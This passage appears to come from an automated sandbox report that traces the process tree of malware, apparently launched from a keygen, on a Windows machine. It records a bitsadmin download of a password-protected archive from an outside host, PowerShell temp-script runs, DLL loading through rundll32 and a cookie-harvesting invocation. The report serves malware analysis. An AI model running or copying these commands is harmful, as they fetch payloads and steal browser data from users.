                                                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                                                            PID:3488
                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                              10⤵
                                                                                                                                                                                                PID:5236
                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                                10⤵
                                                                                                                                                                                                  PID:4936
                                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                    PID:4488
                                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                      PID:5692
                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                        PID:4104
                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                          PID:3772
                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                          • Checks for any installed AV software in registry
                                                                                                                                                                                                          PID:5692
                                                                                                                                                                                                        • C:\Windows\SysWOW64\bitsadmin.exe
                                                                                                                                                                                                          "bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                          • Download via BitsAdmin
                                                                                                                                                                                                          PID:3816
                                                                                                                                                                                                        • C:\Program Files (x86)\lighteningplayer\data_load.exe
                                                                                                                                                                                                          "C:\Program Files (x86)\lighteningplayer\data_load.exe" -pvnX6Az3B09XYRiZ -y x C:\zip.7z -o"C:\Program Files\temp_files\"
                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                          PID:4044
                                                                                                                                                                                                        • C:\Program Files (x86)\lighteningplayer\data_load.exe
                                                                                                                                                                                                          "C:\Program Files (x86)\lighteningplayer\data_load.exe" -p2zJ3SuXA9t5eWq2 -y x C:\zip.7z -o"C:\Program Files\temp_files\"
                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                            PID:1532
                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                              PID:4704
                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                PID:5316
                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                  PID:4316
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                    PID:5788
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                      PID:7020
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                      C:\Windows\System32\rundll32.exe "C:\Program Files (x86)\PQUvOF\PQUvOF.dll" PQUvOF
                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                      PID:6440
                                                                                                                                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                        C:\Windows\System32\rundll32.exe "C:\Program Files (x86)\PQUvOF\PQUvOF.dll" PQUvOF
                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                                                        PID:4816
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                        PID:5508
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                                                                                        PID:5872
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                          PID:6088
                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                            PID:6512
                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmD204.tmp\tempfile.ps1"
                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                              PID:4164
                                                                                                                                                                                                                            • C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe
                                                                                                                                                                                                                              "C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT
                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                                                                                              PID:4912
                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mpg4pv33.xpz\app.exe /8-2222 & exit
                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                            PID:6052
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\mpg4pv33.xpz\app.exe
                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\mpg4pv33.xpz\app.exe /8-2222
                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              PID:4872
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\mpg4pv33.xpz\app.exe
                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\mpg4pv33.xpz\app.exe" /8-2222
                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                PID:4704
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe
                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                    PID:5984
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                      PID:5300
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                      PID:5228
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                        PID:4792
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                          PID:8116
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe"
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                  PID:2572
                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                  PID:4764
                                                                                                                                                                                                                • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                  C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                  PID:4824
                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                  • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                  PID:2912
                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                  PID:5208
                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:5332
                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                    PID:6112
                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                    PID:4644
                                                                                                                                                                                                                  • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                    C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                    • Modifies Internet Explorer settings
                                                                                                                                                                                                                    PID:5276
                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                    PID:4180
                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                    PID:5960
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\30EA.exe
                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\30EA.exe
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:4832
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\32D0.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\32D0.exe
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                        PID:4892
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\385F.exe
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\385F.exe
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:3580
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Tempwllpap.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Tempwllpap.exe"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:6908
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                              PID:4952
                                                                                                                                                                                                                            • C:\Windows\explorer.exe
                                                                                                                                                                                                                              C:\Windows\explorer.exe
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                PID:4312
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                PID:4312
                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                C:\Windows\explorer.exe
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                PID:2912
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                  PID:2184
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                  C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                    PID:4412
                                                                                                                                                                                                                                  • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                                                                                                                    C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                      PID:4900
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\A746.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\A746.exe
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                      PID:4184
                                                                                                                                                                                                                                    • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                                                                                                      PID:5040
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\AA64.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\AA64.exe
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                      PID:2164
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\C996.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\C996.exe
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                        PID:4992
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\D32C.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\D32C.exe
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                        PID:5376
                                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:5508
                                                                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                            C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:5860
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\DDCB.exe
                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\DDCB.exe
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                              PID:5308
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\647349126.exe
                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\647349126.exe"
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                PID:4344
                                                                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:5336
                                                                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:5324
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\1371397063.exe
                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\1371397063.exe"
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                    PID:5440
                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:1508
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\E0F9.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\E0F9.exe
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                      PID:3988
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\E3E8.exe
                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\E3E8.exe
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:4292
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\EC26.exe
                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\EC26.exe
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                          PID:5660
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\F4E2.exe
                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\F4E2.exe
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                            PID:4812
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\FD9D.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\FD9D.exe
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                            PID:4844
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\FD9D.exe
                                                                                                                                                                                                                                                              "{path}"
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:6832
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\BC7.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\BC7.exe
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                PID:2784
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1202.exe
                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\1202.exe
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                PID:5524
                                                                                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:4928
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1B79.exe
                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\1B79.exe
                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                  PID:5444
                                                                                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:6604
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\1E58.exe
                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\1E58.exe
                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                    PID:4296
                                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                      PID:4956
                                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:6048
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\237A.exe
                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\237A.exe
                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                      PID:5820
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\237A.exe
                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\237A.exe"
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:5848
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\3492.exe
                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\3492.exe
                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                                                                                                                                                        • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                        PID:6084
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                          PID:5888
                                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                          C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                            PID:5336
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                            • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                            PID:4484
                                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                            C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                            • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                            PID:5408
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\explorer.exe
